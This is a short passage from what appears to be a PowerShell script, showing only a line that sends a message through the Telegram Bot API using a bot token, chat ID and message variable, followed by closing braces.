$SendMessage = Invoke-RestMethod -Uri "https://api.telegram.org/bot$($BotToken)/sendMessage?chat_id=$($ChatID)&text=$($Message)&parse_mode=html"
}
}
}
}